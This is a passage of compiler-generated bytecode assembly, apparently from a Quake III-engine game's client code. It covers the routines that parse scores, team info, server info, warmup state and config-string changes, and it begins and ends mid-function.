CNSTI4 16
ADDI4
ARGI4
ADDRLP4 180
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 180
INDIRP4
ARGP4
ADDRLP4 184
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+52
ADDP4
ADDRLP4 184
INDIRI4
ASGNI4
CNSTI4 14
ADDRLP4 0
INDIRI4
MULI4
CNSTI4 17
ADDI4
ARGI4
ADDRLP4 192
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 192
INDIRP4
ARGP4
ADDRLP4 196
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468+48
ADDP4
ADDRLP4 196
INDIRI4
ASGNI4
ADDRLP4 200
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ASGNI4
ADDRLP4 200
INDIRI4
ADDRGP4 cg+110468
ADDP4
INDIRI4
CNSTI4 0
LTI4 $116
ADDRLP4 200
INDIRI4
ADDRGP4 cg+110468
ADDP4
INDIRI4
CNSTI4 64
LTI4 $112
LABELV $116
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468
ADDP4
CNSTI4 0
ASGNI4
LABELV $112
ADDRLP4 204
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ASGNI4
CNSTI4 1716
ADDRLP4 204
INDIRI4
ADDRGP4 cg+110468
ADDP4
INDIRI4
MULI4
ADDRGP4 cgs+40972+108
ADDP4
ADDRLP4 204
INDIRI4
ADDRGP4 cg+110468+4
ADDP4
INDIRI4
ASGNI4
CNSTI4 1716
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cg+110468
ADDP4
INDIRI4
MULI4
ADDRGP4 cgs+40972+148
ADDP4
ADDRLP4 4
INDIRI4
ASGNI4
ADDRLP4 208
CNSTI4 60
ADDRLP4 0
INDIRI4
MULI4
ASGNI4
ADDRLP4 208
INDIRI4
ADDRGP4 cg+110468+56
ADDP4
CNSTI4 1716
ADDRLP4 208
INDIRI4
ADDRGP4 cg+110468
ADDP4
INDIRI4
MULI4
ADDRGP4 cgs+40972+68
ADDP4
INDIRI4
ASGNI4
LABELV $83
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $85
ADDRLP4 0
INDIRI4
ADDRGP4 cg+110452
INDIRI4
LTI4 $82
LABELV $71
endproc CG_ParseScores 212 12
proc CG_ParseTeamInfo 76 8
CNSTI4 1
ARGI4
ADDRLP4 8
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRLP4 12
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 numSortedTeamPlayers
ADDRLP4 12
INDIRI4
ASGNI4
ADDRLP4 16
ADDRGP4 numSortedTeamPlayers
INDIRI4
ASGNI4
ADDRLP4 16
INDIRI4
CNSTI4 0
LTI4 $134
ADDRLP4 16
INDIRI4
CNSTI4 32
LEI4 $132
LABELV $134
ADDRGP4 $135
ARGP4
ADDRGP4 numSortedTeamPlayers
INDIRI4
ARGI4
ADDRGP4 CG_Error
CALLV
pop
ADDRGP4 $131
JUMPV
LABELV $132
ADDRLP4 4
CNSTI4 0
ASGNI4
ADDRGP4 $139
JUMPV
LABELV $136
CNSTI4 6
ADDRLP4 4
INDIRI4
MULI4
CNSTI4 2
ADDI4
ARGI4
ADDRLP4 20
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 20
INDIRP4
ARGP4
ADDRLP4 24
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
ADDRLP4 24
INDIRI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 0
LTI4 $142
ADDRLP4 0
INDIRI4
CNSTI4 64
LTI4 $140
LABELV $142
ADDRGP4 $143
ARGP4
ADDRLP4 0
INDIRI4
ARGI4
ADDRGP4 CG_Error
CALLV
pop
ADDRGP4 $131
JUMPV
LABELV $140
ADDRLP4 4
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 sortedTeamPlayers
ADDP4
ADDRLP4 0
INDIRI4
ASGNI4
CNSTI4 6
ADDRLP4 4
INDIRI4
MULI4
CNSTI4 3
ADDI4
ARGI4
ADDRLP4 32
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 32
INDIRP4
ARGP4
ADDRLP4 36
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 1716
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cgs+40972+112
ADDP4
ADDRLP4 36
INDIRI4
ASGNI4
CNSTI4 6
ADDRLP4 4
INDIRI4
MULI4
CNSTI4 4
ADDI4
ARGI4
ADDRLP4 40
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 40
INDIRP4
ARGP4
ADDRLP4 44
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 1716
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cgs+40972+116
ADDP4
ADDRLP4 44
INDIRI4
ASGNI4
CNSTI4 6
ADDRLP4 4
INDIRI4
MULI4
CNSTI4 5
ADDI4
ARGI4
ADDRLP4 48
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 48
INDIRP4
ARGP4
ADDRLP4 52
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 1716
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cgs+40972+120
ADDP4
ADDRLP4 52
INDIRI4
ASGNI4
ADDRLP4 56
CNSTI4 6
ASGNI4
ADDRLP4 56
INDIRI4
ADDRLP4 4
INDIRI4
MULI4
ADDRLP4 56
INDIRI4
ADDI4
ARGI4
ADDRLP4 60
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 60
INDIRP4
ARGP4
ADDRLP4 64
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 1716
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cgs+40972+124
ADDP4
ADDRLP4 64
INDIRI4
ASGNI4
CNSTI4 6
ADDRLP4 4
INDIRI4
MULI4
CNSTI4 7
ADDI4
ARGI4
ADDRLP4 68
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 68
INDIRP4
ARGP4
ADDRLP4 72
ADDRGP4 qk_atoi
CALLI4
ASGNI4
CNSTI4 1716
ADDRLP4 0
INDIRI4
MULI4
ADDRGP4 cgs+40972+148
ADDP4
ADDRLP4 72
INDIRI4
ASGNI4
LABELV $137
ADDRLP4 4
ADDRLP4 4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $139
ADDRLP4 4
INDIRI4
ADDRGP4 numSortedTeamPlayers
INDIRI4
LTI4 $136
LABELV $131
endproc CG_ParseTeamInfo 76 8
export CG_ParseServerinfo
proc CG_ParseServerinfo 84 16
CNSTI4 0
ARGI4
ADDRLP4 8
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 8
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $156
ARGP4
ADDRLP4 12
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 12
INDIRP4
ARGP4
ADDRLP4 16
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31456
ADDRLP4 16
INDIRI4
ASGNI4
ADDRGP4 $157
ARGP4
ADDRGP4 cgs+31456
INDIRI4
ARGI4
ADDRLP4 20
ADDRGP4 va
CALLP4
ASGNP4
ADDRGP4 $156
ARGP4
ADDRLP4 20
INDIRP4
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $160
ARGP4
ADDRLP4 24
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 24
INDIRP4
ARGP4
ADDRLP4 28
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31460
ADDRLP4 28
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $162
ARGP4
ADDRLP4 32
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 32
INDIRP4
ARGP4
ADDRLP4 36
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31464
ADDRLP4 36
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $164
ARGP4
ADDRLP4 40
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 40
INDIRP4
ARGP4
ADDRLP4 44
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31468
ADDRLP4 44
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $166
ARGP4
ADDRLP4 48
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 48
INDIRP4
ARGP4
ADDRLP4 52
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31472
ADDRLP4 52
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $168
ARGP4
ADDRLP4 56
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 56
INDIRP4
ARGP4
ADDRLP4 60
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31476
ADDRLP4 60
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $170
ARGP4
ADDRLP4 64
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 64
INDIRP4
ARGP4
ADDRLP4 68
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31480
ADDRLP4 68
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $171
ARGP4
ADDRLP4 72
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRLP4 4
ADDRLP4 72
INDIRP4
ASGNP4
ADDRGP4 cgs+31484
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 $174
ARGP4
ADDRLP4 4
INDIRP4
ARGP4
ADDRGP4 Com_sprintf
CALLI4
pop
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $176
ARGP4
ADDRLP4 76
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRGP4 cgs+31548
ARGP4
ADDRLP4 76
INDIRP4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRGP4 $176
ARGP4
ADDRGP4 cgs+31548
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $180
ARGP4
ADDRLP4 80
ADDRGP4 Info_ValueForKey
CALLP4
ASGNP4
ADDRGP4 cgs+31612
ARGP4
ADDRLP4 80
INDIRP4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRGP4 $180
ARGP4
ADDRGP4 cgs+31612
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
LABELV $154
endproc CG_ParseServerinfo 84 16
proc CG_ParseWarmup 24 8
CNSTI4 5
ARGI4
ADDRLP4 8
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 4
ADDRLP4 8
INDIRP4
ASGNP4
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 12
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
ADDRLP4 12
INDIRI4
ASGNI4
ADDRGP4 cg+116696
CNSTI4 -1
ASGNI4
ADDRLP4 16
CNSTI4 0
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 16
INDIRI4
NEI4 $185
ADDRGP4 cg+116692
INDIRI4
ADDRLP4 16
INDIRI4
EQI4 $185
ADDRGP4 $186
JUMPV
LABELV $185
ADDRLP4 20
CNSTI4 0
ASGNI4
ADDRLP4 0
INDIRI4
ADDRLP4 20
INDIRI4
LEI4 $188
ADDRGP4 cg+116692
INDIRI4
ADDRLP4 20
INDIRI4
GTI4 $188
ADDRGP4 cgs+152852+920
INDIRI4
ARGI4
CNSTI4 7
ARGI4
ADDRGP4 trap_S_StartLocalSound
CALLV
pop
LABELV $188
LABELV $186
ADDRGP4 cg+116692
ADDRLP4 0
INDIRI4
ASGNI4
LABELV $183
endproc CG_ParseWarmup 24 8
export CG_SetConfigValues
proc CG_SetConfigValues 36 4
CNSTI4 6
ARGI4
ADDRLP4 4
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 8
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+34800
ADDRLP4 8
INDIRI4
ASGNI4
CNSTI4 7
ARGI4
ADDRLP4 12
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 12
INDIRP4
ARGP4
ADDRLP4 16
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+34804
ADDRLP4 16
INDIRI4
ASGNI4
CNSTI4 21
ARGI4
ADDRLP4 20
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 20
INDIRP4
ARGP4
ADDRLP4 24
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+34796
ADDRLP4 24
INDIRI4
ASGNI4
ADDRGP4 cgs+31456
INDIRI4
CNSTI4 4
NEI4 $198
CNSTI4 23
ARGI4
ADDRLP4 28
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 28
INDIRP4
ASGNP4
ADDRGP4 cgs+34808
ADDRLP4 0
INDIRP4
INDIRI1
CVII4 1
CNSTI4 48
SUBI4
ASGNI4
ADDRGP4 cgs+34812
ADDRLP4 0
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
CNSTI4 48
SUBI4
ASGNI4
LABELV $198
CNSTI4 5
ARGI4
ADDRLP4 28
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 28
INDIRP4
ARGP4
ADDRLP4 32
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cg+116692
ADDRLP4 32
INDIRI4
ASGNI4
LABELV $194
endproc CG_SetConfigValues 36 4
export CG_ShaderStateChanged
proc CG_ShaderStateChanged 188 12
CNSTI4 24
ARGI4
ADDRLP4 156
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 156
INDIRP4
ASGNP4
ADDRGP4 $206
JUMPV
LABELV $205
ADDRLP4 0
INDIRP4
ARGP4
ADDRGP4 $208
ARGP4
ADDRLP4 160
ADDRGP4 qk_strstr
CALLP4
ASGNP4
ADDRLP4 4
ADDRLP4 160
INDIRP4
ASGNP4
ADDRLP4 4
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $207
ADDRLP4 4
INDIRP4
INDIRI1
CVII4 1
CNSTI4 0
EQI4 $207
ADDRLP4 12
ARGP4
ADDRLP4 0
INDIRP4
ARGP4
ADDRLP4 4
INDIRP4
CVPU4 4
ADDRLP4 0
INDIRP4
CVPU4 4
SUBU4
CVUI4 4
CVIU4 4
ARGU4
ADDRGP4 qk_strncpy
CALLP4
pop
ADDRLP4 4
INDIRP4
CVPU4 4
ADDRLP4 0
INDIRP4
CVPU4 4
SUBU4
CVUI4 4
ADDRLP4 12
ADDP4
CNSTI1 0
ASGNI1
ADDRLP4 4
ADDRLP4 4
INDIRP4
CNSTI4 1
ADDP4
ASGNP4
ADDRLP4 4
INDIRP4
ARGP4
ADDRGP4 $211
ARGP4
ADDRLP4 172
ADDRGP4 qk_strstr
CALLP4
ASGNP4
ADDRLP4 8
ADDRLP4 172
INDIRP4
ASGNP4
ADDRLP4 8
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $207
ADDRLP4 8
INDIRP4
INDIRI1
CVII4 1
CNSTI4 0
EQI4 $207
ADDRLP4 76
ARGP4
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 8
INDIRP4
CVPU4 4
ADDRLP4 4
INDIRP4
CVPU4 4
SUBU4
CVUI4 4
CVIU4 4
ARGU4
ADDRGP4 qk_strncpy
CALLP4
pop
ADDRLP4 8
INDIRP4
CVPU4 4
ADDRLP4 4
INDIRP4
CVPU4 4
SUBU4
CVUI4 4
ADDRLP4 76
ADDP4
CNSTI1 0
ASGNI1
LABELV $213
ADDRLP4 8
ADDRLP4 8
INDIRP4
CNSTI4 1
ADDP4
ASGNP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRGP4 $214
ARGP4
ADDRLP4 180
ADDRGP4 qk_strstr
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 180
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $210
ADDRLP4 140
ARGP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRLP4 0
INDIRP4
CVPU4 4
ADDRLP4 8
INDIRP4
CVPU4 4
SUBU4
CVUI4 4
CVIU4 4
ARGU4
ADDRGP4 qk_strncpy
CALLP4
pop
ADDRLP4 0
INDIRP4
CVPU4 4
ADDRLP4 8
INDIRP4
CVPU4 4
SUBU4
CVUI4 4
ADDRLP4 140
ADDP4
CNSTI1 0
ASGNI1
ADDRLP4 0
ADDRLP4 0
INDIRP4
CNSTI4 1
ADDP4
ASGNP4
ADDRLP4 12
ARGP4
ADDRLP4 76
ARGP4
ADDRLP4 140
ARGP4
ADDRGP4 trap_R_RemapShader
CALLV
pop
LABELV $210
LABELV $206
ADDRLP4 0
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $217
ADDRLP4 0
INDIRP4
INDIRI1
CVII4 1
CNSTI4 0
NEI4 $205
LABELV $217
LABELV $207
LABELV $204
endproc CG_ShaderStateChanged 188 12
proc CG_ConfigStringModified 48 12
CNSTI4 1
ARGI4
ADDRLP4 8
ADDRGP4 CG_Argv
CALLP4
ASGNP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRLP4 12
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
ADDRLP4 12
INDIRI4
ASGNI4
ADDRGP4 cgs
ARGP4
ADDRGP4 trap_GetGameState
CALLV
pop
ADDRLP4 0
INDIRI4
ARGI4
ADDRLP4 16
ADDRGP4 CG_ConfigString
CALLP4
ASGNP4
ADDRLP4 4
ADDRLP4 16
INDIRP4
ASGNP4
ADDRLP4 0
INDIRI4
CNSTI4 2
NEI4 $219
ADDRGP4 CG_StartMusic
CALLV
pop
ADDRGP4 $220
JUMPV
LABELV $219
ADDRLP4 0
INDIRI4
CNSTI4 0
NEI4 $221
ADDRGP4 CG_ParseServerinfo
CALLV
pop
ADDRGP4 $222
JUMPV
LABELV $221
ADDRLP4 0
INDIRI4
CNSTI4 5
NEI4 $223
ADDRGP4 CG_ParseWarmup
CALLV
pop
ADDRGP4 $224
JUMPV
LABELV $223
ADDRLP4 0
INDIRI4
CNSTI4 6
NEI4 $225
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 20
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+34800
ADDRLP4 20
INDIRI4
ASGNI4
ADDRGP4 $226
JUMPV
LABELV $225
ADDRLP4 0
INDIRI4
CNSTI4 7
NEI4 $228
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 20
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+34804
ADDRLP4 20
INDIRI4
ASGNI4
ADDRGP4 $229
JUMPV
LABELV $228
ADDRLP4 0
INDIRI4
CNSTI4 21
NEI4 $231
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 20
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+34796
ADDRLP4 20
INDIRI4
ASGNI4
ADDRGP4 $232
JUMPV
LABELV $231
ADDRLP4 0
INDIRI4
CNSTI4 8
NEI4 $234
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 20
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31676
ADDRLP4 20
INDIRI4
ASGNI4
ADDRGP4 cgs+31688
CNSTI4 1
ASGNI4
ADDRGP4 $235
JUMPV
LABELV $234
ADDRLP4 0
INDIRI4
CNSTI4 10
NEI4 $238
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 20
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31680
ADDRLP4 20
INDIRI4
ASGNI4
ADDRGP4 cgs+31688
CNSTI4 1
ASGNI4
ADDRGP4 $239
JUMPV
LABELV $238
ADDRLP4 0
INDIRI4
CNSTI4 11
NEI4 $242
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 20
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cgs+31684
ADDRLP4 20
INDIRI4
ASGNI4
ADDRGP4 cgs+31688
CNSTI4 1
ASGNI4
ADDRGP4 $243
JUMPV
LABELV $242
ADDRLP4 0
INDIRI4
CNSTI4 9
NEI4 $246
ADDRGP4 cgs+31692
ARGP4
ADDRLP4 4
INDIRP4
ARGP4
CNSTI4 1024
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRGP4 $247
JUMPV
LABELV $246
ADDRLP4 0
INDIRI4
CNSTI4 12
LTI4 $250
ADDRLP4 0
INDIRI4
CNSTI4 13
GTI4 $250
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 24
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+32716-48
ADDP4
ADDRLP4 24
INDIRI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+32740-48
ADDP4
CNSTI4 1
ASGNI4
ADDRGP4 $251
JUMPV
LABELV $250
ADDRLP4 0
INDIRI4
CNSTI4 16
LTI4 $256
ADDRLP4 0
INDIRI4
CNSTI4 17
GTI4 $256
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 28
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+32724-64
ADDP4
ADDRLP4 28
INDIRI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+32740-64
ADDP4
CNSTI4 1
ASGNI4
ADDRGP4 $257
JUMPV
LABELV $256
ADDRLP4 0
INDIRI4
CNSTI4 18
LTI4 $262
ADDRLP4 0
INDIRI4
CNSTI4 19
GTI4 $262
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 32
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+32732-72
ADDP4
ADDRLP4 32
INDIRI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+32740-72
ADDP4
CNSTI4 1
ASGNI4
ADDRGP4 $263
JUMPV
LABELV $262
ADDRLP4 0
INDIRI4
CNSTI4 14
LTI4 $268
ADDRLP4 0
INDIRI4
CNSTI4 15
GTI4 $268
ADDRLP4 0
INDIRI4
CNSTI4 10
LSHI4
ADDRGP4 cgs+32748-14336
ADDP4
ARGP4
ADDRLP4 4
INDIRP4
ARGP4
CNSTI4 2048
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRGP4 $269
JUMPV
LABELV $268
ADDRLP4 0
INDIRI4
CNSTI4 22
NEI4 $273
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 36
ADDRGP4 qk_atoi
CALLI4
ASGNI4
ADDRGP4 cg+24
ADDRLP4 36
INDIRI4
ASGNI4
ADDRGP4 $274
JUMPV
LABELV $273
ADDRLP4 0
INDIRI4
CNSTI4 32
LTI4 $276
ADDRLP4 0
INDIRI4
CNSTI4 288
GEI4 $276
ADDRLP4 4
INDIRP4
ARGP4
ADDRLP4 40
ADDRGP4 trap_R_RegisterModel
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+34824-128
ADDP4
ADDRLP4 40
INDIRI4
ASGNI4
ADDRGP4 $277
JUMPV
LABELV $276
ADDRLP4 0
INDIRI4
CNSTI4 288
LTI4 $280
ADDRLP4 0
INDIRI4
CNSTI4 544
GEI4 $280
ADDRLP4 4
INDIRP4
INDIRI1
CVII4 1
CNSTI4 42
EQI4 $281
ADDRLP4 4
INDIRP4
ARGP4
CNSTI4 0
ARGI4
ADDRLP4 44
ADDRGP4 trap_S_RegisterSound
CALLI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+35848-1152
ADDP4
ADDRLP4 44
INDIRI4
ASGNI4
ADDRGP4 $281
JUMPV
LABELV $280
ADDRLP4 0
INDIRI4
CNSTI4 544
LTI4 $286
ADDRLP4 0
INDIRI4
CNSTI4 608
GEI4 $286
ADDRLP4 0
INDIRI4
CNSTI4 544
SUBI4
ARGI4
ADDRGP4 CG_NewClientInfo
CALLV
pop
ADDRGP4 CG_BuildSpectatorString
CALLV
pop
ADDRGP4 $287
JUMPV
LABELV $286
ADDRLP4 0
INDIRI4
CNSTI4 23
NEI4 $288
ADDRGP4 cgs+31456
INDIRI4
CNSTI4 4
NEI4 $289
ADDRGP4 cgs+34808
ADDRLP4 4
INDIRP4
INDIRI1
CVII4 1
CNSTI4 48
SUBI4
ASGNI4
ADDRGP4 cgs+34812
ADDRLP4 4
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
CNSTI4 48
SUBI4
ASGNI4
ADDRGP4 $289
JUMPV
LABELV $288
ADDRLP4 0
INDIRI4
CNSTI4 24
NEI4 $295
ADDRGP4 CG_ShaderStateChanged
CALLV
pop
LABELV $295
LABELV $289
LABELV $287
LABELV $281
LABELV $277
LABELV $274
LABELV $269
LABELV $263
LABELV $257
LABELV $251
LABELV $247
LABELV $243
LABELV $239
LABELV $235
LABELV $232
LABELV $229
LABELV $226
LABELV $224
LABELV $222
LABELV $220
LABELV $218
endproc CG_ConfigStringModified 48 12
proc CG_AddToTeamChat 64 0
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRGP4 cg_teamChatHeight+12
INDIRI4
CNSTI4 8
GEI4 $298
ADDRLP4 12
ADDRGP4 cg_teamChatHeight+12
INDIRI4
ASGNI4
ADDRGP4 $299
JUMPV
LABELV $298
ADDRLP4 12
CNSTI4 8
ASGNI4
LABELV $299
ADDRLP4 20
CNSTI4 0
ASGNI4
ADDRLP4 12
INDIRI4
ADDRLP4 20
INDIRI4
LEI4 $305
ADDRGP4 cg_teamChatTime+12
INDIRI4
ADDRLP4 20
INDIRI4
GTI4 $302
LABELV $305
ADDRLP4 24
CNSTI4 0
ASGNI4
ADDRGP4 cgs+152760
ADDRLP4 24
INDIRI4
ASGNI4
ADDRGP4 cgs+152756
ADDRLP4 24
INDIRI4
ASGNI4
ADDRGP4 $297
JUMPV
LABELV $302
ADDRLP4 4
CNSTI4 0
ASGNI4
ADDRLP4 0
CNSTI4 241
ADDRGP4 cgs+152756
INDIRI4
ADDRLP4 12
INDIRI4
MODI4
MULI4
ADDRGP4 cgs+150796
ADDP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI1 0
ASGNI1
ADDRLP4 16
CNSTI4 55
ASGNI4
ADDRLP4 8
CNSTP4 0
ASGNP4
ADDRGP4 $311
JUMPV
LABELV $310
ADDRLP4 4
INDIRI4
CNSTI4 79
LEI4 $313
ADDRLP4 8
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $315
ADDRLP4 28
ADDRLP4 0
INDIRP4
CVPU4 4
ADDRLP4 8
INDIRP4
CVPU4 4
SUBU4
CVUI4 4
ASGNI4
ADDRFP4 0
ADDRFP4 0
INDIRP4
ADDRLP4 28
INDIRI4
SUBP4
ASGNP4
ADDRFP4 0
ADDRFP4 0
INDIRP4
CNSTI4 1
ADDP4
ASGNP4
ADDRLP4 0
ADDRLP4 0
INDIRP4
ADDRLP4 28
INDIRI4
SUBP4
ASGNP4
LABELV $315
ADDRLP4 0
INDIRP4
CNSTI1 0
ASGNI1
ADDRGP4 cgs+152756
INDIRI4
ADDRLP4 12
INDIRI4
MODI4
CNSTI4 2
LSHI4
ADDRGP4 cgs+152724
ADDP4
ADDRGP4 cg+107604
INDIRI4
ASGNI4
ADDRLP4 24
ADDRGP4 cgs+152756
ASGNP4
ADDRLP4 24
INDIRP4
ADDRLP4 24
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRLP4 0
CNSTI4 241
ADDRGP4 cgs+152756
INDIRI4
ADDRLP4 12
INDIRI4
MODI4
MULI4
ADDRGP4 cgs+150796
ADDP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI1 0
ASGNI1
ADDRLP4 28
ADDRLP4 0
INDIRP4
ASGNP4
ADDRLP4 0
ADDRLP4 28
INDIRP4
CNSTI4 1
ADDP4
ASGNP4
ADDRLP4 28
INDIRP4
CNSTI1 94
ASGNI1
ADDRLP4 32
ADDRLP4 0
INDIRP4
ASGNP4
ADDRLP4 0
ADDRLP4 32
INDIRP4
CNSTI4 1
ADDP4
ASGNP4
ADDRLP4 32
INDIRP4
ADDRLP4 16
INDIRI4
CVII1 4
ASGNI1
ADDRLP4 4
CNSTI4 0
ASGNI4
